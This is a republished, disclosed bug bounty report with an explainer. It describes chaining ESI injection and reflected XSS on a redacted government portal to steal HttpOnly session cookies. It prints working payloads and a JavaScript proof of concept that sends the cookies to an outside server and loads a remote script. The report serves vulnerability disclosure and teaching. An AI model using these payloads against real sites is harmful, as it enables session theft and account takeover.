Skip to content
XSS Disclosed report Intermediate

[hta3] Chain of ESI Injection & Reflected XSS leading to Account Takeover on [███]

An ESI injection on the ms parameter allowed extraction of HttpOnly session cookies, and a reflected XSS on the title parameter allowed script execution. Chaining them let an attacker steal session cookies and take over a victim's account.

Jasmin Laundry Follow with ramsexy, 0xc0ffee and 1 other

Originally disclosed on HackerOne

High 8.2 View original
  • Triaged in 15 hours
  • Fixed in 27 days
  • Paid in 20 days
  • Disclosed after 21 months

Hi,

Summary

There is an ESI injection vulnerability in the https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults endpoint on the ms parameter. With this injection, we're able to extract session cookies that have the HttpOnly flag by using this payload.

XML
<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>

We also found a Reflected XSS vulnerability in the https://████████/portal/pls/portal/PORTAL.wwexp_render.show_tree endpoint on the title parameter

By chaining these 2 bugs together, we're able to steal session cookies and take over a victim user's account.  

Steps To Reproduce

1- By browsing here https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults?osf=&ms=lol<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>lol&mo=containsall&pg=&sepg=-1&fi=&fs=&ft=&pu=1&has=&as=17%2C0%3B48%2C0&saa=ALL&po=matchall&pi=&pc=&co=equal&ci=&p_action=SUBMIT&ll=, we're able to see your cookies in the Search field between the lol strings at the beginning and end. █████████ 2- When browsing here, https://█████████/portal/pls/portal/PORTAL.wwexp_render.show_tree?p_otype=SITEMAP&p_request=open&p_minusimage=&p_plusimage=&p_headerimage=%2Fimages%2Fbhfind2.gif&p_show_banner=NO&p_show_cancel=NO&p_open_item=1.FOLDER.FOLDERMAP.1_0&p_open_items=0.SITEMAP.FOLDERMAP.0_-1&p_domain=wwc&p_sub_domain=FOLDERMAP&p_title=Browse+Pages</title><svg/onload=alert(domain)>&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.ft&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fi&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fs&p_datasource_data=nls_sub_domain%3Dtext%2Cnls_name%3Dfolderplpopup, we can see an alert box showing the vulnerable domain caused by this HTML and JavaScript code in the title parameter.

HTML
</title><svg/onload=alert(domain)>

████████

3- To chain these 2 bugs together, we created the following PoC. This JavaScript code is fetching the URL containing the ESI injection, grabbing the value of the cookies in the response and then sending them over to our server in order to steal them.

JavaScript
fetch('https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults?osf=&ms=lol<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>lol&mo=containsall&pg=&sepg=-1&fi=&fs=&ft=&pu=1&has=&as=17%2C0%3B48%2C0&saa=ALL&po=matchall&pi=&pc=&co=equal&ci=&p_action=SUBMIT&ll=').then(function (response) {
		return response.text();
}).then(function (html) {

	var parser = new DOMParser();
	var doc = parser.parseFromString(html, 'text/html');
  
  //var input = doc.querySelector('input')[0];
  var cookies = doc.getElementById("x61_ms").value;
  fetch(`https://www.jr0ch17.com/ato?cookies=${cookies}`);

}).catch(function (err) {
	// There was an error
	console.warn('Something went wrong.', err);
});

To trigger this whole PoC, you can browse to this URL. You can replace the server with your own to reproduce it.

https://████████/portal/pls/portal/PORTAL.wwexp_render.show_tree?p_otype=SITEMAP&p_request=open&p_minusimage=&p_plusimage=&p_headerimage=%2Fimages%2Fbhfind2.gif&p_show_banner=NO&p_show_cancel=NO&p_open_item=1.FOLDER.FOLDERMAP.1_0&p_open_items=0.SITEMAP.FOLDERMAP.0_-1&p_domain=wwc&p_sub_domain=FOLDERMAP&p_title=Browse+Pages</title><script/src='https://www.jr0ch17.com/hta3.js'></script>&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.ft&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fi&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fs&p_datasource_data=nls_sub_domain%3Dtext%2Cnls_name%3Dfolderplpopup

As you can see, the XSS payload is now the following.

HTML
</title><script/src='https://www.jr0ch17.com/hta3.js'>

We can then see that we have received the victim's cookies including the session cookie which has the HttpOnly flag. ██████████  

Impact

By chaining these 2 vulnerabilities together and by tricking a victim user into clicking a link, an attacker is able to steal their session cookies which have the HttpOnly flag and take over their account. With an ESI injection and depending on the configuration, it's also potentially possible to get an SSRF and get access to internal resources. We're still exploring that area of the bug at the moment so we'll provide updates on if we're able to get further with it.

Let me know if you have any questions or require more details.

Thanks, @jr0ch17

The original report as published on HackerOne, by jr0ch17. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ms parameter was processed by an ESI engine without sanitisation, and the title parameter was reflected into HTML without encoding.

Impact

By tricking a victim into clicking a link, an attacker could steal HttpOnly session cookies and take over the account; ESI injection might also allow SSRF to internal resources depending on configuration.

What the attacker needed

Victim clicks a link; attacker-hosted script server

How it was found

  1. Visit the PerspectiveResults endpoint with an ESI payload in the ms parameter to see cookies reflected in the Search field.
  2. Visit the show_tree endpoint with an SVG onload payload in the title parameter to trigger an alert.
  3. Host a JavaScript file that fetches the ESI URL, extracts the cookie value from the response, and sends it to an attacker server.
  4. Send the victim a show_tree URL whose title parameter loads the attacker's script, causing the script to run and exfiltrate cookies.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ESI (Edge Side Includes) is a markup language that web servers use to build pages from pieces; if user input is treated as ESI, an attacker can make the server insert sensitive data like cookies into the page. Separately, reflected XSS means a script in a link runs in the victim's browser. Here the XSS fetched the ESI page, read the cookies from it, and sent them to the attacker.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Jasmin Laundry

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.